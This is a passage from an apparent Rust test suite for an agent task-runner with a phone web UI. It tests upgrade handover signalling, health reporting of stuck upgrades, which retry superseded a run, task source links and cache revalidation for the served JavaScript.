21920            health["upgrade"]["waiting_on"].is_null(),
21921            "nothing to wait on once it is done"
21922        );
21923    }
21924
21925    /// The handover signal is seen however the race falls, and wakes its one
21926    /// waiter once per signal - nothing here can spin.
21927    #[tokio::test]
21928    async fn the_handover_signal_wakes_one_waiter_once() {
21929        let signal = Notify::new();
21930        // Signalled before anyone waits: the stored permit is not lost.
21931        signal.notify_one();
21932        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21933            .await
21934            .expect("an early signal is still seen");
21935        // One signal, one wake-up: a second wait does not resolve by itself.
21936        assert!(
21937            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21938                .await
21939                .is_err(),
21940            "a consumed signal must not wake a second time"
21941        );
21942        // Signalled while waiting.
21943        let signal = std::sync::Arc::new(signal);
21944        let waiter = tokio::spawn({
21945            let signal = std::sync::Arc::clone(&signal);
21946            async move { wait_for_handover(&signal).await }
21947        });
21948        tokio::time::sleep(Duration::from_millis(20)).await;
21949        assert!(!waiter.is_finished(), "nothing was signalled yet");
21950        signal.notify_one();
21951        tokio::time::timeout(Duration::from_secs(5), waiter)
21952            .await
21953            .expect("a late signal wakes the waiter")
21954            .expect("join");
21955    }
21956
21957    #[tokio::test]
21958    async fn health_says_how_long_a_handover_has_been_stuck() {
21959        let fx = Fixture::start().await;
21960        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21961        progress.advance(crate::updater::Stage::Replaced);
21962        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21963        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21964
21965        let health = fx.get("/api/health").await.json();
21966        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21967        assert!(stuck >= 600, "{stuck}");
21968        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21969        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21970    }
21971
21972    #[tokio::test]
21973    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21974        let home = tempfile::tempdir().expect("temp home");
21975        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21976        progress.advance(crate::updater::Stage::Parking);
21977        crate::updater::write_progress(home.path(), &progress).expect("seed");
21978        // What the second upgrade_and_restart and its handler do.
21979        let mut again = progress.clone();
21980        again.advance(crate::updater::Stage::Replaced);
21981        crate::updater::write_progress(home.path(), &again).expect("replaced");
21982        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21983        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21984        let after = crate::updater::read_progress(home.path()).expect("record");
21985        assert_eq!(after.stage, crate::updater::Stage::Parking);
21986    }
21987
21988    #[tokio::test]
21989    async fn health_does_not_call_a_live_parking_wait_stuck() {
21990        let fx = Fixture::start().await;
21991        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21992        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21993        progress.advance(crate::updater::Stage::Parking);
21994        let hours = Duration::from_secs(3 * 3600);
21995        progress.started_at = Timestamp::now() - hours;
21996        progress.updated_at = Timestamp::now() - hours;
21997        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21998        let _lease = crate::updater::LeaseGuard::enter(
21999            fx.home.path(),
22000            Some("20260905-000000-cd51".to_owned()),
22001        );
22002
22003        let health = fx.get("/api/health").await.json();
22004        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22005        assert!(health["upgrade"]["stuck_kind"].is_null());
22006        assert_eq!(health["upgrade"]["handover_alive"], true);
22007        let waiting_on = health["upgrade"]["waiting_on"]
22008            .as_str()
22009            .expect("waiting_on");
22010        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22011    }
22012
22013    fn idle_ui(home: &TempDir) -> Ui {
22014        let runs = home.path().join("runs");
22015        std::fs::create_dir_all(&runs).expect("runs dir");
22016        Ui::new(
22017            Queue::at(home.path().join("queue")),
22018            Questions::at(home.path().join("questions")),
22019            Talks::at(home.path().join("talks")),
22020            runs,
22021            home.path().to_path_buf(),
22022            PathBuf::from("/repo/magi"),
22023        )
22024        .with_launch(launch_idle)
22025    }
22026
22027    #[tokio::test]
22028    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22029        let home = TempDir::new().expect("temp home");
22030        let ui = idle_ui(&home);
22031        let lease = crate::worker::try_lease(home.path(), "scheduler")
22032            .expect("scheduler lease")
22033            .expect("free");
22034        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22035            .expect("request stop");
22036        let error = ui
22037            .start_detached_loop()
22038            .await
22039            .expect_err("transition is still live");
22040        assert_eq!(error.status, StatusCode::CONFLICT);
22041        assert!(error.message.contains("still running or stopping"));
22042        assert_eq!(
22043            crate::worker::control(home.path(), "scheduler").unwrap(),
22044            Some(crate::worker::Control::Stop)
22045        );
22046        drop(lease);
22047    }
22048
22049    #[tokio::test]
22050    async fn handover_releases_listener_without_waiting_for_execution_leases() {
22051        let home = TempDir::new().expect("temp home");
22052        let ui = idle_ui(&home);
22053        let turns = ui
22054            .begin_talk_turn("active-chat")
22055            .expect("claim")
22056            .expect("free");
22057        let execution = crate::worker::try_lease(home.path(), "active-task")
22058            .expect("execution lease")
22059            .expect("free");
22060        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22061            .await
22062            .expect("bind loopback");
22063        let address = listener.local_addr().expect("address");
22064        let admissions = Arc::clone(&ui.admissions);
22065        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22066        let successor_started = std::sync::atomic::AtomicBool::new(false);
22067        tokio::time::timeout(
22068            Duration::from_secs(2),
22069            hand_over(home.path(), &admissions, served, || {
22070                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22071                Ok(1)
22072            }),
22073        )
22074        .await
22075        .expect("restart must not wait for execution")
22076        .expect("handover");
22077        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22078        // BSD may retain the address briefly after listener release. The real
22079        // successor uses the same bounded bind retry rather than a one-shot bind.
22080        let successor = bind_waiting(address)
22081            .await
22082            .expect("successor binds released address");
22083        assert_eq!(successor.local_addr().unwrap(), address);
22084        assert!(turns.owns(), "the chat lease survives restart");
22085        assert!(
22086            crate::worker::try_lease(home.path(), "active-task")
22087                .unwrap()
22088                .is_none()
22089        );
22090        drop(execution);
22091        drop(turns);
22092    }
22093
22094    #[tokio::test]
22095    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22096        let home = TempDir::new().expect("temp home");
22097        let ui = idle_ui(&home);
22098        let admission = ui.begin_admission().expect("admit send");
22099        let turn = ui
22100            .begin_talk_turn("active-chat")
22101            .expect("claim")
22102            .expect("free");
22103        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22104            .await
22105            .expect("bind loopback");
22106        let address = listener.local_addr().expect("address");
22107        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22108        let successor_called = std::sync::atomic::AtomicBool::new(false);
22109        let handover = hand_over(home.path(), &ui.admissions, served, || {
22110            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22111            Ok(1)
22112        });
22113        tokio::pin!(handover);
22114        // Poll exactly to the writer waiting on our admission guard. This
22115        // pins the race without sleeps or assumptions about task scheduling.
22116        std::future::poll_fn(|cx| {
22117            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22118            std::task::Poll::Ready(())
22119        })
22120        .await;
22121        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22122        assert!(
22123            ui.begin_admission().is_err(),
22124            "new ingress cannot race the drain"
22125        );
22126        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22127        drop(admission);
22128        tokio::time::timeout(Duration::from_secs(2), handover)
22129            .await
22130            .expect("only publication may delay restart")
22131            .expect("handover");
22132        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22133        assert!(
22134            turn.owns(),
22135            "the detached chat turn is not awaited or cancelled"
22136        );
22137        assert!(
22138            ui.begin_admission().is_err(),
22139            "old accepted connections stay closed"
22140        );
22141        drop(turn);
22142    }
22143
22144    #[test]
22145    fn health_worker_metadata_never_contains_payload_or_result() {
22146        let view = WorkerView::from(crate::worker::Job {
22147            id: "job".into(),
22148            sequence: 1,
22149            kind: "service".into(),
22150            key: "maintenance".into(),
22151            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22152            generation: "generation".into(),
22153            version: Some("1.2.3".into()),
22154            status: crate::worker::Status::Running,
22155            result: Some("private diagnostics".into()),
22156            pid: Some(4242),
22157            created_at: 1,
22158            finished_at: None,
22159        });
22160        let value = serde_json::to_value(view).expect("serialize public metadata");
22161        assert_eq!(value["version"], "1.2.3");
22162        assert_eq!(value["pid"], 4242);
22163        assert!(value.get("payload").is_none());
22164        assert!(value.get("result").is_none());
22165        assert!(!value.to_string().contains("private"));
22166    }
22167
22168    #[test]
22169    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22170        let home = TempDir::new().expect("temp home");
22171        let ui = idle_ui(&home);
22172        std::fs::write(
22173            home.path().join("daemon.json"),
22174            serde_json::json!({
22175                "schema": 2, "pid": 4242, "worker_protocol": 1,
22176                "updated_at": Timestamp::now().to_string(), "idle": true,
22177            })
22178            .to_string(),
22179        )
22180        .expect("status");
22181        let reading = daemon::read_status(home.path());
22182        assert!(Foreign::of(reading.as_ref()).is_none());
22183        let view = ui.runtime_loop_view(reading, &[]);
22184        assert!(view.running);
22185        assert!(view.owned);
22186    }
22187
22188    #[test]
22189    fn only_an_explicit_one_requests_a_resume() {
22190        assert!(!resume_requested(None));
22191        assert!(!resume_requested(Some("0".into())));
22192        assert!(!resume_requested(Some("".into())));
22193        assert!(resume_requested(Some("1".into())));
22194    }
22195
22196    #[test]
22197    fn an_error_is_visible_from_where_the_button_is() {
22198        // The alert used to sit in the flow under the header. On a phone
22199        // scrolled 13 500 px down to a run's action sheet that is off screen,
22200        // so tapping Resume and being told "the loop is running run b455
22201        // right now" looked exactly like a button that did nothing.
22202        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22203            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22204        assert!(
22205            alert.contains("position: fixed"),
22206            "an error about the thing under your thumb has to be visible from \
22207             where your thumb is: {alert}"
22208        );
22209        assert!(
22210            alert.contains("z-index: 25"),
22211            "above the dock (20) and the run-actions FAB (15), so neither \
22212             buries it: {alert}"
22213        );
22214        assert!(
22215            alert.contains("var(--tap)"),
22216            "and clear of the dock and the home indicator: {alert}"
22217        );
22218        // The FAB sits at the same height on the right. An error that covered
22219        // it would hide the button the operator reaches for next.
22220        assert!(
22221            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22222            "the FAB's column stays free: {alert}"
22223        );
22224    }
22225
22226    #[tokio::test]
22227    async fn an_older_attempt_says_what_replaced_it() {
22228        let fx = Fixture::start().await;
22229        let q = fx.queue();
22230        let runs = fx.runs();
22231        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22232        write_run(&runs, first, RunStatus::Stalled);
22233        write_run(&runs, second, RunStatus::Blocked);
22234
22235        let mut t = Task::new(
22236            "one task".to_owned(),
22237            "do it".to_owned(),
22238            PathBuf::from("/repo"),
22239            Source::Human,
22240        );
22241        t.runs = vec![first.to_owned(), second.to_owned()];
22242        q.put(&mut t).expect("put");
22243
22244        // Two cards with the same title and no hint which is which was the
22245        // question: "why are there two of the same, one stalled and one
22246        // blocked?" The older one now names its replacement.
22247        let rows = fx.get("/api/runs").await.json();
22248        let by = |short: &str| -> Value {
22249            rows.as_array()
22250                .unwrap()
22251                .iter()
22252                .find(|r| r["short"] == short)
22253                .cloned()
22254                .unwrap_or(Value::Null)
22255        };
22256        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22257        assert!(
22258            by("bbbb")["superseded_by"].is_null(),
22259            "the latest attempt is not superseded by anything"
22260        );
22261        // Front end: the note has to be rendered, not just carried.
22262        assert!(APP_JS.contains("run.superseded_by"));
22263        assert!(APP_JS.contains("Superseded by"));
22264    }
22265
22266    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22267        let mut t = Task::new(
22268            "one task".to_owned(),
22269            "do it".to_owned(),
22270            PathBuf::from("/repo"),
22271            Source::Human,
22272        );
22273        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22274        t.status = status;
22275        t
22276    }
22277
22278    #[test]
22279    fn source_link_picks_the_page_that_filed_the_task() {
22280        let agent = |node: &str| Source::Agent {
22281            run: "20260904-014455-ab12".to_owned(),
22282            node: node.to_owned(),
22283        };
22284        let chat = source_link(&agent("chat")).expect("chat link");
22285        assert_eq!(chat.kind, "chat");
22286        assert_eq!(chat.id, "20260904-014455-ab12");
22287        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22288        let run = source_link(&agent("implement")).expect("run link");
22289        assert_eq!(
22290            (run.kind, run.href.as_str()),
22291            ("run", "#/runs/20260904-014455-ab12")
22292        );
22293        assert_eq!(source_link(&Source::Human), None);
22294        assert_eq!(
22295            source_link(&Source::Issue {
22296                number: 3,
22297                repo: "o/r".to_owned()
22298            }),
22299            None
22300        );
22301        let odd = source_link(&Source::Agent {
22302            run: "a b/c".to_owned(),
22303            node: "chat".to_owned(),
22304        })
22305        .expect("link");
22306        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22307    }
22308
22309    #[test]
22310    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22311        assert!(
22312            !APP_JS.contains("src.node === \"chat\""),
22313            "inline href rule is back"
22314        );
22315        assert!(
22316            APP_JS.matches("sourceLinkOf(").count() >= 4,
22317            "helper must serve every page"
22318        );
22319        assert!(
22320            APP_JS.matches("openChatLink(").count() >= 3,
22321            "the run page still needs its explicit chat link"
22322        );
22323        assert!(
22324            !APP_JS.contains("const openChat = el("),
22325            "the Queue card duplicates its source label link again"
22326        );
22327        assert!(
22328            APP_JS.contains("metaKids.push(link ? el(\"a\""),
22329            "the task page must link a chat source label too"
22330        );
22331    }
22332
22333    #[test]
22334    fn task_ref_carries_the_source_link_for_a_chat_task() {
22335        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22336        t.source = Source::Agent {
22337            run: "20260904-014455-ab12".to_owned(),
22338            node: "chat".to_owned(),
22339        };
22340        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22341        let v = serde_json::to_value(&out).expect("json");
22342        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22343        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22344        assert_eq!(v["source_label"], t.source.label());
22345
22346        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22347        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22348            .expect("json");
22349        assert!(v["source_link"].is_null(), "{v}");
22350    }
22351
22352    #[test]
22353    fn task_view_serializes_source_link() {
22354        let mut t = Task::new(
22355            "t".to_owned(),
22356            "t".to_owned(),
22357            PathBuf::from("/repo"),
22358            Source::Agent {
22359                run: "20260901-000000-aaaa".to_owned(),
22360                node: "implement".to_owned(),
22361            },
22362        );
22363        t.runs.clear();
22364        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22365        assert_eq!(v["source_link"]["kind"], "run", "{v}");
22366        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22367    }
22368
22369    #[test]
22370    fn task_view_serializes_urgent_flag() {
22371        let mut t = Task::new(
22372            "t".to_owned(),
22373            "t".to_owned(),
22374            PathBuf::from("/repo"),
22375            Source::Human,
22376        );
22377        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22378        assert_eq!(v["urgent"], false, "{v}");
22379        t.urgent = true;
22380        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22381        assert_eq!(v["urgent"], true, "{v}");
22382        assert!(APP_JS.contains("task.urgent === true"));
22383    }
22384
22385    #[tokio::test]
22386    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22387        let fx = Fixture::start().await;
22388        let runs = fx.runs();
22389        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22390        write_run(&runs, old, RunStatus::Blocked);
22391        write_run(&runs, new, RunStatus::Merged);
22392        let mut t = outcome_task(&[old, new], TaskStatus::Done);
22393        fx.queue().put(&mut t).expect("put");
22394
22395        let view = fx.get(&format!("/api/runs/{old}")).await.json();
22396        let task = &view["task"];
22397        assert_eq!(task["status"], "done");
22398        assert_eq!(task["is_latest"], false);
22399        assert_eq!(task["latest"]["short"], "bbbb");
22400        assert_eq!(task["finished_by"]["id"], new);
22401        assert_eq!(task["finished_by"]["outcome"], "merged");
22402        assert_eq!(task["closed_by_hand"], false);
22403        assert_eq!(view["status"], "blocked", "the run keeps its own status");
22404        assert!(APP_JS.contains("finished_by"));
22405        assert!(APP_JS.contains("superseded by run"));
22406    }
22407
22408    #[tokio::test]
22409    async fn the_latest_run_reports_a_held_task_without_a_successor() {
22410        let fx = Fixture::start().await;
22411        let runs = fx.runs();
22412        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22413        write_run(&runs, old, RunStatus::Stalled);
22414        write_run(&runs, new, RunStatus::Blocked);
22415        let mut t = outcome_task(&[old, new], TaskStatus::Held);
22416        fx.queue().put(&mut t).expect("put");
22417
22418        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22419        assert_eq!(task["status"], "held");
22420        assert_eq!(task["is_latest"], true);
22421        assert!(task["latest"].is_null());
22422        assert!(task["finished_by"].is_null());
22423        assert_eq!(task["closed_by_hand"], false);
22424    }
22425
22426    #[tokio::test]
22427    async fn a_direct_run_has_no_task_outcome() {
22428        let fx = Fixture::start().await;
22429        let runs = fx.runs();
22430        let id = "20260901-000000-aaaa";
22431        write_run(&runs, id, RunStatus::Blocked);
22432        let view = fx.get(&format!("/api/runs/{id}")).await.json();
22433        assert!(view["task"].is_null());
22434    }
22435
22436    #[test]
22437    fn task_outcome_does_not_guess_a_finishing_run() {
22438        let a = "20260901-000000-aaaa";
22439        let b = "20260901-000000-bbbb";
22440        let c = "20260901-000000-cccc";
22441        let dir = tempfile::tempdir().expect("tempdir");
22442        write_run(dir.path(), a, RunStatus::Blocked);
22443        write_run(dir.path(), b, RunStatus::VerifiedNoop);
22444        // `c` has no record: unreadable.
22445        let read = |id: &str| read_run(dir.path(), id).ok();
22446        // Neither a blocked run nor a no-op finished the task; the newest run is
22447        // unreadable and still named.
22448        let t = outcome_task(&[a, b, c], TaskStatus::Done);
22449        let out = task_outcome(&t, a, 3, read);
22450        assert!(out.finished_by.is_none());
22451        assert!(out.closed_by_hand);
22452        let latest = out.latest.expect("latest");
22453        assert_eq!(latest.id, c);
22454        assert_eq!(latest.status, None);
22455        assert_eq!(latest.outcome, "record unreadable");
22456
22457        // A Ready run settles the task as done, so it is named as the finisher.
22458        write_run(dir.path(), c, RunStatus::Ready);
22459        let t = outcome_task(&[a, c], TaskStatus::Done);
22460        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22461        assert_eq!(out.finished_by.expect("finisher").id, c);
22462        assert!(!out.closed_by_hand);
22463
22464        // A resumed run id repeats: it is still the latest by id.
22465        let t = outcome_task(&[a, b, a], TaskStatus::Held);
22466        assert!(task_outcome(&t, a, 3, read).is_latest);
22467    }
22468
22469    #[tokio::test]
22470    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22471        // The list route has known this since the card fix above; the detail
22472        // route — what an operator actually opens from a notification about
22473        // a blocked run — did not, and went on showing a bare red BLOCKED
22474        // chip for a run a retry had already finished.
22475        let fx = Fixture::start().await;
22476        let q = fx.queue();
22477        let runs = fx.runs();
22478        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22479        write_run(&runs, first, RunStatus::Blocked);
22480        write_run(&runs, second, RunStatus::Merged);
22481
22482        let mut t = Task::new(
22483            "one task".to_owned(),
22484            "do it".to_owned(),
22485            PathBuf::from("/repo"),
22486            Source::Human,
22487        );
22488        t.runs = vec![first.to_owned(), second.to_owned()];
22489        q.put(&mut t).expect("put");
22490
22491        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22492        assert_eq!(earlier["superseded_by"], "dddd");
22493        assert_eq!(earlier["latest_attempt"]["id"], second);
22494        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22495        assert_eq!(
22496            earlier["latest_attempt"]["resolved"], true,
22497            "the run that replaced it landed, so this one reads as settled"
22498        );
22499
22500        let later = fx.get(&format!("/api/runs/{second}")).await.json();
22501        assert!(
22502            later["superseded_by"].is_null(),
22503            "the latest attempt is not superseded by anything"
22504        );
22505        assert!(
22506            later["latest_attempt"].is_null(),
22507            "the latest attempt has no later attempt of its own"
22508        );
22509
22510        // Front end: the detail page has to read the field this route now
22511        // carries, downgrade the chip, and link to the run that replaced it —
22512        // not just repeat the list card's own logic under a different name.
22513        // The link is built off `latest_attempt.id`, the server-resolved
22514        // full id, never a bare short string a client would have to guess a
22515        // full run from.
22516        assert!(APP_JS.contains("run.latest_attempt"));
22517        assert!(APP_JS.contains("data-superseded"));
22518        assert!(APP_JS.contains("#/runs/${latest.id}"));
22519    }
22520
22521    #[tokio::test]
22522    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22523        // A -> B -> C, all Blocked except the last. A's immediate successor
22524        // (superseded_by) is B, which is itself unresolved; what an operator
22525        // opening A's page actually needs is where the task's story stands
22526        // *now* - C, not B - without depending on whether C happens to be in
22527        // whatever page of /api/runs the client last cached.
22528        let fx = Fixture::start().await;
22529        let q = fx.queue();
22530        let runs = fx.runs();
22531        let (a, b, c) = (
22532            "20260901-000000-aaaa",
22533            "20260901-000000-bbbb",
22534            "20260901-000000-cccc",
22535        );
22536        write_run(&runs, a, RunStatus::Blocked);
22537        write_run(&runs, b, RunStatus::Blocked);
22538        write_run(&runs, c, RunStatus::Merged);
22539
22540        let mut t = Task::new(
22541            "retried twice".to_owned(),
22542            "do it".to_owned(),
22543            PathBuf::from("/repo"),
22544            Source::Human,
22545        );
22546        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22547        q.put(&mut t).expect("put");
22548
22549        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22550        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22551        assert_eq!(
22552            view["latest_attempt"]["id"], c,
22553            "the chain's current head, not the intermediate Blocked retry"
22554        );
22555        assert_eq!(view["latest_attempt"]["resolved"], true);
22556
22557        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22558        assert_eq!(mid["latest_attempt"]["id"], c);
22559        assert_eq!(mid["latest_attempt"]["resolved"], true);
22560    }
22561
22562    #[tokio::test]
22563    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22564        let fx = Fixture::start().await;
22565        let q = fx.queue();
22566        let runs = fx.runs();
22567
22568        // Still Blocked: the task is not resolved, so the older run must not
22569        // read as settled either.
22570        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22571        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22572        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22573        let mut t1 = Task::new(
22574            "still stuck".to_owned(),
22575            "do it".to_owned(),
22576            PathBuf::from("/repo"),
22577            Source::Human,
22578        );
22579        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22580        q.put(&mut t1).expect("put");
22581        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22582        assert_eq!(view1["latest_attempt"]["resolved"], false);
22583        assert_eq!(view1["latest_attempt"]["status"], "blocked");
22584        assert_eq!(view1["latest_attempt"]["done"], true);
22585
22586        // Still running: the successor exists and must be reported as such.
22587        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22588        write_run(&runs, run_a, RunStatus::Blocked);
22589        write_run(&runs, run_b, RunStatus::Implementing);
22590        let mut t3 = Task::new(
22591            "retrying".to_owned(),
22592            "do it".to_owned(),
22593            PathBuf::from("/repo"),
22594            Source::Human,
22595        );
22596        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22597        q.put(&mut t3).expect("put");
22598        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22599        assert_eq!(view3["latest_attempt"]["id"], run_b);
22600        assert_eq!(view3["latest_attempt"]["resolved"], false);
22601        assert_eq!(view3["latest_attempt"]["done"], false);
22602
22603        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
22604        // to check - not a confirmed finish, so this must not read as
22605        // resolved either, even though the run is done in the sense that
22606        // nothing is still running.
22607        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22608        write_run(&runs, noop_a, RunStatus::Blocked);
22609        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22610        let mut t2 = Task::new(
22611            "claims done".to_owned(),
22612            "do it".to_owned(),
22613            PathBuf::from("/repo"),
22614            Source::Human,
22615        );
22616        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22617        q.put(&mut t2).expect("put");
22618        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22619        assert_eq!(
22620            view2["latest_attempt"]["resolved"], false,
22621            "an unverified no-op claim must not read as a confirmed finish"
22622        );
22623
22624        // Front end: an unresolved successor must not carry the "finished
22625        // this work" note or the muted chip treatment.
22626        assert!(APP_JS.contains("latest.resolved"));
22627        // ...but the link to it shows as soon as it exists, labelled by state
22628        // and without the "finished" wording or the muted chip.
22629        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22630        assert!(APP_JS.contains("Latest attempt: "));
22631        assert!(APP_JS.contains("in flight"));
22632        assert!(APP_JS.contains("not resolved"));
22633    }
22634
22635    #[tokio::test]
22636    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22637        let fx = Fixture::start().await;
22638        // No cache header at all meant browsers invented their own policy,
22639        // and one did: a phone went on showing "Candidates must be folded
22640        // before deleting. Run `magi fold` first." - deleted two releases
22641        // earlier - from a deck that no longer contained the sentence. The
22642        // button it named was right there, and unreachable.
22643        let js = fx.get("/app.js").await;
22644        assert_eq!(js.status, 200);
22645        let tag = js
22646            .header("etag")
22647            .expect("an etag to revalidate against")
22648            .to_owned();
22649        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22650        assert_eq!(
22651            js.header("cache-control"),
22652            Some("no-cache, must-revalidate"),
22653            "the phone has to ask every time"
22654        );
22655
22656        // And the asking has to be cheap, or `must-revalidate` just means
22657        // "send the whole interface on every load".
22658        let again = fx
22659            .get_with("/app.js", &[("if-none-match", tag.as_str())])
22660            .await;
22661        assert_eq!(
22662            again.status, 304,
22663            "a deck it already has costs one round trip"
22664        );
22665        assert!(again.body.is_empty(), "304 carries no body");
22666
22667        // A weakened tag from a proxy still matches; a different build does
22668        // not, which is the case that has to deliver the new interface.
22669        let weak = fx
22670            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22671            .await;
22672        assert_eq!(weak.status, 304);
22673        let stale = fx
22674            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22675            .await;
22676        assert_eq!(stale.status, 200, "an older build must be replaced");
22677        assert!(stale.body.contains("renderRunActions"));
22678    }
22679
22680    #[test]
22681    fn the_task_detail_has_an_actions_fab_and_sheet() {
22682        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22683        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22684        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22685        // Shown only on the task route, closed everywhere else.
22686        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22687        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22688        // Refreshed whenever the detail redraws, including the loading state.
22689        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
22690        assert!(APP_JS.contains("renderTaskActions(null);"));
22691        // Same renderers and routes as the Queue card, no new endpoint.
22692        let sheet = APP_JS
22693            .find("function renderTaskActions")
22694            .expect("sheet renderer");
22695        let body = &APP_JS[sheet..sheet + 3000];
22696        assert!(body.contains("changePriority("));
22697        assert!(body.contains("openTaskEdit(task)"));
22698        assert!(body.contains("renderTaskHoldBox(host"));
22699        assert!(body.contains("renderTaskDoneBox(host"));
22700        assert!(body.contains("renderTaskDeleteBox(host"));
22701        assert!(APP_JS.contains("API.priority(id)"));
22702        assert!(APP_JS.contains("API.deleteTask(id)"));
22703        // A deleted task sends the operator back to the queue.
22704        assert!(APP_JS.contains("location.hash = \"#/queue\""));
22705        // A refusal is shown inside the sheet.
22706        assert!(APP_JS.contains("$(\"task-actions-error\")"));
22707    }
22708
22709    #[test]
22710    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22711        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22712        let actions = INDEX_HTML
22713            .find("id=\"run-actions-box\"")
22714            .expect("actions box");
22715        assert!(task < actions, "the task entry comes first in the sheet");
22716        assert!(APP_JS.contains("renderRunTaskEntry"));
22717        assert!(APP_JS.contains("\"Open task \""));
22718        // A run without a task says why there is nothing to open.
22719        assert!(APP_JS.contains("started directly, no task"));
22720        assert!(APP_JS.contains("sheet-task-link"));
22721        assert!(APP_JS.contains("task-chip-link"));
22722    }
22723
22724    #[test]
22725    fn the_deck_never_sends_the_operator_to_a_terminal() {
22726        // The whole point of the phone UI is that a terminal is not needed.
22727        // The delete control used to answer with "Run `magi fold` first."
22728        assert!(
22729            !APP_JS.contains("Run `magi fold` first"),
22730            "the deck must offer the fold, not prescribe a shell command"
22731        );
